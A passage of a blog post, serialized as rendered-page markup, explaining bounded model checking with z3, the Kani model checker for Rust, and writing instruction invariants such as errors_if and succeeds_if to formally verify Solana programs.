2\n",[18281],{"type":23,"tag":56,"props":18282,"children":18283},{"__ignoreMap":7},[18284,18309,18325],{"type":23,"tag":504,"props":18285,"children":18286},{"class":506,"line":507},[18287,18292,18296,18300,18304],{"type":23,"tag":504,"props":18288,"children":18289},{"style":523},[18290],{"type":28,"value":18291},"y ",{"type":23,"tag":504,"props":18293,"children":18294},{"style":598},[18295],{"type":28,"value":7559},{"type":23,"tag":504,"props":18297,"children":18298},{"style":523},[18299],{"type":28,"value":18071},{"type":23,"tag":504,"props":18301,"children":18302},{"style":598},[18303],{"type":28,"value":1642},{"type":23,"tag":504,"props":18305,"children":18306},{"style":1440},[18307],{"type":28,"value":18308}," 3\n",{"type":23,"tag":504,"props":18310,"children":18311},{"class":506,"line":540},[18312,18316,18320],{"type":23,"tag":504,"props":18313,"children":18314},{"style":523},[18315],{"type":28,"value":18291},{"type":23,"tag":504,"props":18317,"children":18318},{"style":598},[18319],{"type":28,"value":9443},{"type":23,"tag":504,"props":18321,"children":18322},{"style":1440},[18323],{"type":28,"value":18324}," 100\n",{"type":23,"tag":504,"props":18326,"children":18327},{"class":506,"line":555},[18328,18333,18337,18341,18345],{"type":23,"tag":504,"props":18329,"children":18330},{"style":523},[18331],{"type":28,"value":18332},"z ",{"type":23,"tag":504,"props":18334,"children":18335},{"style":598},[18336],{"type":28,"value":7559},{"type":23,"tag":504,"props":18338,"children":18339},{"style":523},[18340],{"type":28,"value":3495},{"type":23,"tag":504,"props":18342,"children":18343},{"style":598},[18344],{"type":28,"value":3552},{"type":23,"tag":504,"props":18346,"children":18347},{"style":1440},[18348],{"type":28,"value":18349}," 2\n",{"type":23,"tag":24,"props":18351,"children":18352},{},[18353],{"type":28,"value":18354},"Negative branch:",{"type":23,"tag":494,"props":18356,"children":18358},{"code":18357,"language":2124,"meta":7,"className":15493,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[18359],{"type":23,"tag":56,"props":18360,"children":18361},{"__ignoreMap":7},[18362,18385,18401],{"type":23,"tag":504,"props":18363,"children":18364},{"class":506,"line":507},[18365,18369,18373,18377,18381],{"type":23,"tag":504,"props":18366,"children":18367},{"style":523},[18368],{"type":28,"value":18291},{"type":23,"tag":504,"props":18370,"children":18371},{"style":598},[18372],{"type":28,"value":7559},{"type":23,"tag":504,"props":18374,"children":18375},{"style":523},[18376],{"type":28,"value":18071},{"type":23,"tag":504,"props":18378,"children":18379},{"style":598},[18380],{"type":28,"value":1642},{"type":23,"tag":504,"props":18382,"children":18383},{"style":1440},[18384],{"type":28,"value":18308},{"type":23,"tag":504,"props":18386,"children":18387},{"class":506,"line":540},[18388,18392,18397],{"type":23,"tag":504,"props":18389,"children":18390},{"style":523},[18391],{"type":28,"value":18291},{"type":23,"tag":504,"props":18393,"children":18394},{"style":598},[18395],{"type":28,"value":18396},"\u003C=",{"type":23,"tag":504,"props":18398,"children":18399},{"style":1440},[18400],{"type":28,"value":18324},{"type":23,"tag":504,"props":18402,"children":18403},{"class":506,"line":555},[18404,18408,18412,18416,18420],{"type":23,"tag":504,"props":18405,"children":18406},{"style":523},[18407],{"type":28,"value":18332},{"type":23,"tag":504,"props":18409,"children":18410},{"style":598},[18411],{"type":28,"value":7559},{"type":23,"tag":504,"props":18413,"children":18414},{"style":523},[18415],{"type":28,"value":3495},{"type":23,"tag":504,"props":18417,"children":18418},{"style":598},[18419],{"type":28,"value":1642},{"type":23,"tag":504,"props":18421,"children":18422},{"style":1440},[18423],{"type":28,"value":18424}," 1\n",{"type":23,"tag":24,"props":18426,"children":18427},{},[18428,18430,18437],{"type":28,"value":18429},"Using the ",{"type":23,"tag":92,"props":18431,"children":18434},{"href":18432,"rel":18433},"https://github.com/Z3Prover/z3",[96],[18435],{"type":28,"value":18436},"z3",{"type":28,"value":18438}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":494,"props":18440,"children":18444},{"code":18441,"language":18442,"meta":7,"className":18443,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[18445],{"type":23,"tag":56,"props":18446,"children":18447},{"__ignoreMap":7},[18448,18471,18478,18504,18528,18552,18559,18567,18584,18612,18631,18659,18666,18674,18695,18713,18720,18728,18743,18770,18789,18816,18823,18830,18849],{"type":23,"tag":504,"props":18449,"children":18450},{"class":506,"line":507},[18451,18456,18461,18466],{"type":23,"tag":504,"props":18452,"children":18453},{"style":544},[18454],{"type":28,"value":18455},"from",{"type":23,"tag":504,"props":18457,"children":18458},{"style":523},[18459],{"type":28,"value":18460}," z3 ",{"type":23,"tag":504,"props":18462,"children":18463},{"style":544},[18464],{"type":28,"value":18465},"import",{"type":23,"tag":504,"props":18467,"children":18468},{"style":598},[18469],{"type":28,"value":18470}," *\n",{"type":23,"tag":504,"props":18472,"children":18473},{"class":506,"line":540},[18474],{"type":23,"tag":504,"props":18475,"children":18476},{"emptyLinePlaceholder":16},[18477],{"type":28,"value":1038},{"type":23,"tag":504,"props":18479,"children":18480},{"class":506,"line":555},[18481,18486,18490,18495,18500],{"type":23,"tag":504,"props":18482,"children":18483},{"style":523},[18484],{"type":28,"value":18485},"x ",{"type":23,"tag":504,"props":18487,"children":18488},{"style":598},[18489],{"type":28,"value":601},{"type":23,"tag":504,"props":18491,"children":18492},{"style":523},[18493],{"type":28,"value":18494}," Int(",{"type":23,"tag":504,"props":18496,"children":18497},{"style":622},[18498],{"type":28,"value":18499},"'x'",{"type":23,"tag":504,"props":18501,"children":18502},{"style":523},[18503],{"type":28,"value":1192},{"type":23,"tag":504,"props":18505,"children":18506},{"class":506,"line":633},[18507,18511,18515,18519,18524],{"type":23,"tag":504,"props":18508,"children":18509},{"style":523},[18510],{"type":28,"value":18291},{"type":23,"tag":504,"props":18512,"children":18513},{"style":598},[18514],{"type":28,"value":601},{"type":23,"tag":504,"props":18516,"children":18517},{"style":523},[18518],{"type":28,"value":18494},{"type":23,"tag":504,"props":18520,"children":18521},{"style":622},[18522],{"type":28,"value":18523},"'y'",{"type":23,"tag":504,"props":18525,"children":18526},{"style":523},[18527],{"type":28,"value":1192},{"type":23,"tag":504,"props":18529,"children":18530},{"class":506,"line":687},[18531,18535,18539,18543,18548],{"type":23,"tag":504,"props":18532,"children":18533},{"style":523},[18534],{"type":28,"value":18332},{"type":23,"tag":504,"props":18536,"children":18537},{"style":598},[18538],{"type":28,"value":601},{"type":23,"tag":504,"props":18540,"children":18541},{"style":523},[18542],{"type":28,"value":18494},{"type":23,"tag":504,"props":18544,"children":18545},{"style":622},[18546],{"type":28,"value":18547},"'z'",{"type":23,"tag":504,"props":18549,"children":18550},{"style":523},[18551],{"type":28,"value":1192},{"type":23,"tag":504,"props":18553,"children":18554},{"class":506,"line":736},[18555],{"type":23,"tag":504,"props":18556,"children":18557},{"emptyLinePlaceholder":16},[18558],{"type":28,"value":1038},{"type":23,"tag":504,"props":18560,"children":18561},{"class":506,"line":785},[18562],{"type":23,"tag":504,"props":18563,"children":18564},{"style":1106},[18565],{"type":28,"value":18566},"# Positive branch:\n",{"type":23,"tag":504,"props":18568,"children":18569},{"class":506,"line":813},[18570,18575,18579],{"type":23,"tag":504,"props":18571,"children":18572},{"style":523},[18573],{"type":28,"value":18574},"s ",{"type":23,"tag":504,"props":18576,"children":18577},{"style":598},[18578],{"type":28,"value":601},{"type":23,"tag":504,"props":18580,"children":18581},{"style":523},[18582],{"type":28,"value":18583}," Solver()\n",{"type":23,"tag":504,"props":18585,"children":18586},{"class":506,"line":851},[18587,18592,18596,18600,18604,18608],{"type":23,"tag":504,"props":18588,"children":18589},{"style":523},[18590],{"type":28,"value":18591},"s.add(y ",{"type":23,"tag":504,"props":18593,"children":18594},{"style":598},[18595],{"type":28,"value":7559},{"type":23,"tag":504,"props":18597,"children":18598},{"style":523},[18599],{"type":28,"value":18071},{"type":23,"tag":504,"props":18601,"children":18602},{"style":598},[18603],{"type":28,"value":1642},{"type":23,"tag":504,"props":18605,"children":18606},{"style":1440},[18607],{"type":28,"value":18080},{"type":23,"tag":504,"props":18609,"children":18610},{"style":523},[18611],{"type":28,"value":1192},{"type":23,"tag":504,"props":18613,"children":18614},{"class":506,"line":869},[18615,18619,18623,18627],{"type":23,"tag":504,"props":18616,"children":18617},{"style":523},[18618],{"type":28,"value":18591},{"type":23,"tag":504,"props":18620,"children":18621},{"style":598},[18622],{"type":28,"value":9443},{"type":23,"tag":504,"props":18624,"children":18625},{"style":1440},[18626],{"type":28,"value":18117},{"type":23,"tag":504,"props":18628,"children":18629},{"style":523},[18630],{"type":28,"value":1192},{"type":23,"tag":504,"props":18632,"children":18633},{"class":506,"line":878},[18634,18639,18643,18647,18651,18655],{"type":23,"tag":504,"props":18635,"children":18636},{"style":523},[18637],{"type":28,"value":18638},"s.add(z ",{"type":23,"tag":504,"props":18640,"children":18641},{"style":598},[18642],{"type":28,"value":7559},{"type":23,"tag":504,"props":18644,"children":18645},{"style":523},[18646],{"type":28,"value":3495},{"type":23,"tag":504,"props":18648,"children":18649},{"style":598},[18650],{"type":28,"value":3552},{"type":23,"tag":504,"props":18652,"children":18653},{"style":1440},[18654],{"type":28,"value":6917},{"type":23,"tag":504,"props":18656,"children":18657},{"style":523},[18658],{"type":28,"value":1192},{"type":23,"tag":504,"props":18660,"children":18661},{"class":506,"line":1221},[18662],{"type":23,"tag":504,"props":18663,"children":18664},{"emptyLinePlaceholder":16},[18665],{"type":28,"value":1038},{"type":23,"tag":504,"props":18667,"children":18668},{"class":506,"line":1276},[18669],{"type":23,"tag":504,"props":18670,"children":18671},{"style":1106},[18672],{"type":28,"value":18673},"# check if we can violate the correctness property\n",{"type":23,"tag":504,"props":18675,"children":18676},{"class":506,"line":1285},[18677,18682,18686,18690],{"type":23,"tag":504,"props":18678,"children":18679},{"style":523},[18680],{"type":28,"value":18681},"s.add(Not(z ",{"type":23,"tag":504,"props":18683,"children":18684},{"style":598},[18685],{"type":28,"value":14669},{"type":23,"tag":504,"props":18687,"children":18688},{"style":1440},[18689],{"type":28,"value":18235},{"type":23,"tag":504,"props":18691,"children":18692},{"style":523},[18693],{"type":28,"value":18694},"))\n",{"type":23,"tag":504,"props":18696,"children":18697},{"class":506,"line":1294},[18698,18703,18708],{"type":23,"tag":504,"props":18699,"children":18700},{"style":517},[18701],{"type":28,"value":18702},"print",{"type":23,"tag":504,"props":18704,"children":18705},{"style":523},[18706],{"type":28,"value":18707},"(s.check()) ",{"type":23,"tag":504,"props":18709,"children":18710},{"style":1106},[18711],{"type":28,"value":18712},"# \"unsat\"\n",{"type":23,"tag":504,"props":18714,"children":18715},{"class":506,"line":1302},[18716],{"type":23,"tag":504,"props":18717,"children":18718},{"emptyLinePlaceholder":16},[18719],{"type":28,"value":1038},{"type":23,"tag":504,"props":18721,"children":18722},{"class":506,"line":1311},[18723],{"type":23,"tag":504,"props":18724,"children":18725},{"style":1106},[18726],{"type":28,"value":18727},"# Negative branch:\n",{"type":23,"tag":504,"props":18729,"children":18730},{"class":506,"line":1334},[18731,18735,18739],{"type":23,"tag":504,"props":18732,"children":18733},{"style":523},[18734],{"type":28,"value":18574},{"type":23,"tag":504,"props":18736,"children":18737},{"style":598},[18738],{"type":28,"value":601},{"type":23,"tag":504,"props":18740,"children":18741},{"style":523},[18742],{"type":28,"value":18583},{"type":23,"tag":504,"props":18744,"children":18745},{"class":506,"line":1370},[18746,18750,18754,18758,18762,18766],{"type":23,"tag":504,"props":18747,"children":18748},{"style":523},[18749],{"type":28,"value":18591},{"type":23,"tag":504,"props":18751,"children":18752},{"style":598},[18753],{"type":28,"value":7559},{"type":23,"tag":504,"props":18755,"children":18756},{"style":523},[18757],{"type":28,"value":18071},{"type":23,"tag":504,"props":18759,"children":18760},{"style":598},[18761],{"type":28,"value":1642},{"type":23,"tag":504,"props":18763,"children":18764},{"style":1440},[18765],{"type":28,"value":18080},{"type":23,"tag":504,"props":18767,"children":18768},{"style":523},[18769],{"type":28,"value":1192},{"type":23,"tag":504,"props":18771,"children":18772},{"class":506,"line":1384},[18773,18777,18781,18785],{"type":23,"tag":504,"props":18774,"children":18775},{"style":523},[18776],{"type":28,"value":18591},{"type":23,"tag":504,"props":18778,"children":18779},{"style":598},[18780],{"type":28,"value":18396},{"type":23,"tag":504,"props":18782,"children":18783},{"style":1440},[18784],{"type":28,"value":18117},{"type":23,"tag":504,"props":18786,"children":18787},{"style":523},[18788],{"type":28,"value":1192},{"type":23,"tag":504,"props":18790,"children":18791},{"class":506,"line":1392},[18792,18796,18800,18804,18808,18812],{"type":23,"tag":504,"props":18793,"children":18794},{"style":523},[18795],{"type":28,"value":18638},{"type":23,"tag":504,"props":18797,"children":18798},{"style":598},[18799],{"type":28,"value":7559},{"type":23,"tag":504,"props":18801,"children":18802},{"style":523},[18803],{"type":28,"value":3495},{"type":23,"tag":504,"props":18805,"children":18806},{"style":598},[18807],{"type":28,"value":1642},{"type":23,"tag":504,"props":18809,"children":18810},{"style":1440},[18811],{"type":28,"value":3504},{"type":23,"tag":504,"props":18813,"children":18814},{"style":523},[18815],{"type":28,"value":1192},{"type":23,"tag":504,"props":18817,"children":18818},{"class":506,"line":1400},[18819],{"type":23,"tag":504,"props":18820,"children":18821},{"emptyLinePlaceholder":16},[18822],{"type":28,"value":1038},{"type":23,"tag":504,"props":18824,"children":18825},{"class":506,"line":1422},[18826],{"type":23,"tag":504,"props":18827,"children":18828},{"style":1106},[18829],{"type":28,"value":18673},{"type":23,"tag":504,"props":18831,"children":18832},{"class":506,"line":1450},[18833,18837,18841,18845],{"type":23,"tag":504,"props":18834,"children":18835},{"style":523},[18836],{"type":28,"value":18681},{"type":23,"tag":504,"props":18838,"children":18839},{"style":598},[18840],{"type":28,"value":14669},{"type":23,"tag":504,"props":18842,"children":18843},{"style":1440},[18844],{"type":28,"value":18235},{"type":23,"tag":504,"props":18846,"children":18847},{"style":523},[18848],{"type":28,"value":18694},{"type":23,"tag":504,"props":18850,"children":18851},{"class":506,"line":1463},[18852,18856,18860],{"type":23,"tag":504,"props":18853,"children":18854},{"style":517},[18855],{"type":28,"value":18702},{"type":23,"tag":504,"props":18857,"children":18858},{"style":523},[18859],{"type":28,"value":18707},{"type":23,"tag":504,"props":18861,"children":18862},{"style":1106},[18863],{"type":28,"value":18712},{"type":23,"tag":24,"props":18865,"children":18866},{},[18867,18869,18875,18877,18882],{"type":28,"value":18868},"Both of these cases return ",{"type":23,"tag":56,"props":18870,"children":18872},{"className":18871},[],[18873],{"type":28,"value":18874},"unsat",{"type":28,"value":18876}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":1887,"props":18878,"children":18879},{},[18880],{"type":28,"value":18881},"correct",{"type":28,"value":18883}," according to this property.",{"type":23,"tag":82,"props":18885,"children":18887},{"id":18886},"loop-bounds-path-explosion",[18888],{"type":28,"value":18889},"Loop bounds & path explosion",{"type":23,"tag":24,"props":18891,"children":18892},{},[18893,18895,18900,18902,18907],{"type":28,"value":18894},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":1887,"props":18896,"children":18897},{},[18898],{"type":28,"value":18899},"every",{"type":28,"value":18901}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":1887,"props":18903,"children":18904},{},[18905],{"type":28,"value":18906},"infinite",{"type":28,"value":18908}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":18910,"children":18911},{},[18912],{"type":28,"value":18913},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":18915,"children":18916},{},[18917],{"type":28,"value":18918},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":18920,"children":18921},{},[18922],{"type":28,"value":18923},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":82,"props":18925,"children":18927},{"id":18926},"kani-model-checker",[18928],{"type":28,"value":18929},"Kani Model Checker",{"type":23,"tag":24,"props":18931,"children":18932},{},[18933,18935,18940],{"type":28,"value":18934},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":92,"props":18936,"children":18938},{"href":17828,"rel":18937},[96],[18939],{"type":28,"value":17832},{"type":28,"value":18941},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":18943,"children":18944},{},[18945,18947,18952,18954,18960,18961,18967,18969,18975],{"type":28,"value":18946},"Kani allows you to write ",{"type":23,"tag":1887,"props":18948,"children":18949},{},[18950],{"type":28,"value":18951},"proof harnesses",{"type":28,"value":18953}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":56,"props":18955,"children":18957},{"className":18956},[],[18958],{"type":28,"value":18959},"assume",{"type":28,"value":430},{"type":23,"tag":56,"props":18962,"children":18964},{"className":18963},[],[18965],{"type":28,"value":18966},"assert",{"type":28,"value":18968}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":56,"props":18970,"children":18972},{"className":18971},[],[18973],{"type":28,"value":18974},"cargo kani",{"type":28,"value":18976}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":70,"props":18978,"children":18980},{"id":18979},"specification-how-can-we-describe-what-we-want-our-program-to-do",[18981,18983,18987],{"type":28,"value":18982},"Specification: How can we describe what we ",{"type":23,"tag":1887,"props":18984,"children":18985},{},[18986],{"type":28,"value":17902},{"type":28,"value":17904},{"type":23,"tag":24,"props":18989,"children":18990},{},[18991],{"type":23,"tag":1887,"props":18992,"children":18993},{},[18994],{"type":23,"tag":296,"props":18995,"children":18996},{},[18997],{"type":28,"value":18998},"And what even do we want it to do?",{"type":23,"tag":24,"props":19000,"children":19001},{},[19002,19004,19009],{"type":28,"value":19003},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":1887,"props":19005,"children":19006},{},[19007],{"type":28,"value":19008},"specifying",{"type":28,"value":19010}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":19012,"children":19013},{},[19014],{"type":28,"value":19015},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":350,"props":19017,"children":19018},{},[19019,19031,19042],{"type":23,"tag":45,"props":19020,"children":19021},{},[19022,19024,19029],{"type":28,"value":19023},"\"It should not be possible to ",{"type":23,"tag":296,"props":19025,"children":19026},{},[19027],{"type":28,"value":19028},"steal money",{"type":28,"value":19030}," via a swap program\"",{"type":23,"tag":45,"props":19032,"children":19033},{},[19034,19036,19041],{"type":28,"value":19035},"\"A multisig should never get into a state where you ",{"type":23,"tag":296,"props":19037,"children":19038},{},[19039],{"type":28,"value":19040},"can't sign anything",{"type":28,"value":1268},{"type":23,"tag":45,"props":19043,"children":19044},{},[19045],{"type":28,"value":19046},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":19048,"children":19049},{},[19050,19052,19062,19064,19069],{"type":28,"value":19051},"These are types of properties you can tell your ",{"type":23,"tag":92,"props":19053,"children":19056},{"href":19054,"rel":19055},"https://osec.io/",[96],[19057],{"type":23,"tag":1887,"props":19058,"children":19059},{},[19060],{"type":28,"value":19061},"human auditors",{"type":28,"value":19063}," but these English phrases are not particularly useful for ",{"type":23,"tag":1887,"props":19065,"children":19066},{},[19067],{"type":28,"value":19068},"automated verification techniques",{"type":28,"value":19070}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":19072,"children":19073},{},[19074,19076,19081,19083,19088],{"type":28,"value":19075},"Instead, we need to be able to specify ",{"type":23,"tag":1887,"props":19077,"children":19078},{},[19079],{"type":28,"value":19080},"in code",{"type":28,"value":19082}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":56,"props":19084,"children":19086},{"className":19085},[],[19087],{"type":28,"value":18966},{"type":28,"value":19089}," statement.",{"type":23,"tag":82,"props":19091,"children":19093},{"id":19092},"solana-invariants",[19094],{"type":28,"value":19095},"Solana Invariants",{"type":23,"tag":24,"props":19097,"children":19098},{},[19099,19101,19106,19107,19112],{"type":28,"value":19100},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":296,"props":19102,"children":19103},{},[19104],{"type":28,"value":19105},"instruction invariants",{"type":28,"value":430},{"type":23,"tag":296,"props":19108,"children":19109},{},[19110],{"type":28,"value":19111},"account invariants",{"type":28,"value":320},{"type":23,"tag":17874,"props":19114,"children":19116},{"id":19115},"instruction-invariant",[19117],{"type":28,"value":19118},"Instruction Invariant",{"type":23,"tag":24,"props":19120,"children":19121},{},[19122,19124,19129,19131,19137,19138,19144],{"type":28,"value":19123},"An ",{"type":23,"tag":296,"props":19125,"children":19126},{},[19127],{"type":28,"value":19128},"instruction invariant",{"type":28,"value":19130}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":56,"props":19132,"children":19134},{"className":19133},[],[19135],{"type":28,"value":19136},"succeeds_if",{"type":28,"value":459},{"type":23,"tag":56,"props":19139,"children":19141},{"className":19140},[],[19142],{"type":28,"value":19143},"errors_if",{"type":28,"value":19145}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":19147,"children":19148},{},[19149],{"type":28,"value":19150},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":19152,"children":19153},{},[19154,19156,19162,19164,19169],{"type":28,"value":19155},"For example, say we have a ",{"type":23,"tag":56,"props":19157,"children":19159},{"className":19158},[],[19160],{"type":28,"value":19161},"Withdraw",{"type":28,"value":19163}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":1887,"props":19165,"children":19166},{},[19167],{"type":28,"value":19168},"more",{"type":28,"value":19170}," tokens than their current balance.",{"type":23,"tag":24,"props":19172,"children":19173},{},[19174,19176,19181],{"type":28,"value":19175},"Using our tool, you could specify the following ",{"type":23,"tag":56,"props":19177,"children":19179},{"className":19178},[],[19180],{"type":28,"value":19143},{"type":28,"value":19182}," property on your instruction handler:",{"type":23,"tag":494,"props":19184,"children":19186},{"code":19185,"language":1956,"meta":7,"className":1957,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[19187],{"type":23,"tag":56,"props":19188,"children":19189},{"__ignoreMap":7},[19190,19198,19233,19241,19314,19322],{"type":23,"tag":504,"props":19191,"children":19192},{"class":506,"line":507},[19193],{"type":23,"tag":504,"props":19194,"children":19195},{"style":523},[19196],{"type":28,"value":19197},"#[errors_if(\n",{"type":23,"tag":504,"props":19199,"children":19200},{"class":506,"line":540},[19201,19206,19210,19215,19219,19224,19228],{"type":23,"tag":504,"props":19202,"children":19203},{"style":523},[19204],{"type":28,"value":19205},"    ctx",{"type":23,"tag":504,"props":19207,"children":19208},{"style":598},[19209],{"type":28,"value":320},{"type":23,"tag":504,"props":19211,"children":19212},{"style":523},[19213],{"type":28,"value":19214},"user",{"type":23,"tag":504,"props":19216,"children":19217},{"style":598},[19218],{"type":28,"value":320},{"type":23,"tag":504,"props":19220,"children":19221},{"style":523},[19222],{"type":28,"value":19223},"balance ",{"type":23,"tag":504,"props":19225,"children":19226},{"style":598},[19227],{"type":28,"value":4789},{"type":23,"tag":504,"props":19229,"children":19230},{"style":523},[19231],{"type":28,"value":19232}," amount\n",{"type":23,"tag":504,"props":19234,"children":19235},{"class":506,"line":555},[19236],{"type":23,"tag":504,"props":19237,"children":19238},{"style":523},[19239],{"type":28,"value":19240},")]\n",{"type":23,"tag":504,"props":19242,"children":19243},{"class":506,"line":633},[19244,19249,19254,19258,19263,19267,19272,19276,19280,19284,19289,19293,19297,19301,19305,19309],{"type":23,"tag":504,"props":19245,"children":19246},{"style":511},[19247],{"type":28,"value":19248},"fn",{"type":23,"tag":504,"props":19250,"children":19251},{"style":517},[19252],{"type":28,"value":19253}," withdraw",{"type":23,"tag":504,"props":19255,"children":19256},{"style":523},[19257],{"type":28,"value":526},{"type":23,"tag":504,"props":19259,"children":19260},{"style":529},[19261],{"type":28,"value":19262},"ctx",{"type":23,"tag":504,"props":19264,"children":19265},{"style":598},[19266],{"type":28,"value":3472},{"type":23,"tag":504,"props":19268,"children":19269},{"style":1012},[19270],{"type":28,"value":19271}," Context",{"type":23,"tag":504,"props":19273,"children":19274},{"style":523},[19275],{"type":28,"value":4789},{"type":23,"tag":504,"props":19277,"children":19278},{"style":1012},[19279],{"type":28,"value":19161},{"type":23,"tag":504,"props":19281,"children":19282},{"style":523},[19283],{"type":28,"value":5614},{"type":23,"tag":504,"props":19285,"children":19286},{"style":529},[19287],{"type":28,"value":19288},"amount",{"type":23,"tag":504,"props":19290,"children":19291},{"style":598},[19292],{"type":28,"value":3472},{"type":23,"tag":504,"props":19294,"children":19295},{"style":1012},[19296],{"type":28,"value":4843},{"type":23,"tag":504,"props":19298,"children":19299},{"style":523},[19300],{"type":28,"value":2064},{"type":23,"tag":504,"props":19302,"children":19303},{"style":598},[19304],{"type":28,"value":12738},{"type":23,"tag":504,"props":19306,"children":19307},{"style":1012},[19308],{"type":28,"value":12743},{"type":23,"tag":504,"props":19310,"children":19311},{"style":523},[19312],{"type":28,"value":19313},"\u003C()> {\n",{"type":23,"tag":504,"props":19315,"children":19316},{"class":506,"line":687},[19317],{"type":23,"tag":504,"props":19318,"children":19319},{"style":598},[19320],{"type":28,"value":19321},"    ...\n",{"type":23,"tag":504,"props":19323,"children":19324},{"class":506,"line":736},[19325],{"type":23,"tag":504,"props":19326,"children":19327},{"style":523},[19328],{"type":28,"value":884},{"type":23,"tag":1909,"props":19330,"children":19331},{},[19332],{"type":23,"tag":24,"props":19333,"children":19334},{},[19335,19336,19341,19343,19348,19350,19355],{"type":28,"value":15592},{"type":23,"tag":56,"props":19337,"children":19339},{"className":19338},[],[19340],{"type":28,"value":19143},{"type":28,"value":19342}," expression specifies ",{"type":23,"tag":1887,"props":19344,"children":19345},{},[19346],{"type":28,"value":19347},"succifient",{"type":28,"value":19349}," but not ",{"type":23,"tag":1887,"props":19351,"children":19352},{},[19353],{"type":28,"value":19354},"necessary",{"type":28,"value":19356}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":17774,"props":19358,"children":19359},{},[],{"type":23,"tag":24,"props":19361,"children":19362},{},[19363,19365,19370],{"type":28,"value":19364},"Another example is that for ",{"type":23,"tag":1887,"props":19366,"children":19367},{},[19368],{"type":28,"value":19369},"crank",{"type":28,"value":19371}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":494,"props":19373,"children":19375},{"code":19374,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[19376],{"type":23,"tag":56,"props":19377,"children":19378},{"__ignoreMap":7},[19379,19387,19441,19448],{"type":23,"tag":504,"props":19380,"children":19381},{"class":506,"line":507},[19382],{"type":23,"tag":504,"props":19383,"children":19384},{"style":523},[19385],{"type":28,"value":19386},"#[succeeds_if(true)]\n",{"type":23,"tag":504,"props":19388,"children":19389},{"class":506,"line":540},[19390,19394,19399,19403,19407,19411,19415,19419,19424,19429,19433,19437],{"type":23,"tag":504,"props":19391,"children":19392},{"style":511},[19393],{"type":28,"value":19248},{"type":23,"tag":504,"props":19395,"children":19396},{"style":517},[19397],{"type":28,"value":19398}," my_crank",{"type":23,"tag":504,"props":19400,"children":19401},{"style":523},[19402],{"type":28,"value":526},{"type":23,"tag":504,"props":19404,"children":19405},{"style":529},[19406],{"type":28,"value":19262},{"type":23,"tag":504,"props":19408,"children":19409},{"style":598},[19410],{"type":28,"value":3472},{"type":23,"tag":504,"props":19412,"children":19413},{"style":1012},[19414],{"type":28,"value":19271},{"type":23,"tag":504,"props":19416,"children":19417},{"style":523},[19418],{"type":28,"value":4789},{"type":23,"tag":504,"props":19420,"children":19421},{"style":1012},[19422],{"type":28,"value":19423},"Crank",{"type":23,"tag":504,"props":19425,"children":19426},{"style":523},[19427],{"type":28,"value":19428},">) ",{"type":23,"tag":504,"props":19430,"children":19431},{"style":598},[19432],{"type":28,"value":12738},{"type":23,"tag":504,"props":19434,"children":19435},{"style":1012},[19436],{"type":28,"value":12743},{"type":23,"tag":504,"props":19438,"children":19439},{"style":523},[19440],{"type":28,"value":19313},{"type":23,"tag":504,"props":19442,"children":19443},{"class":506,"line":555},[19444],{"type":23,"tag":504,"props":19445,"children":19446},{"style":598},[19447],{"type":28,"value":19321},{"type":23,"tag":504,"props":19449,"children":19450},{"class":506,"line":633},[19451],{"type":23,"tag":504,"props":19452,"children":19453},{"style":523},[19454],{"type":28,"value":884},{"type":23,"tag":24,"props":19456,"children":19457},{},[19458,19460,19464,19466,19472],{"type":28,"value":19459},"With this invariant, you could prove that the function 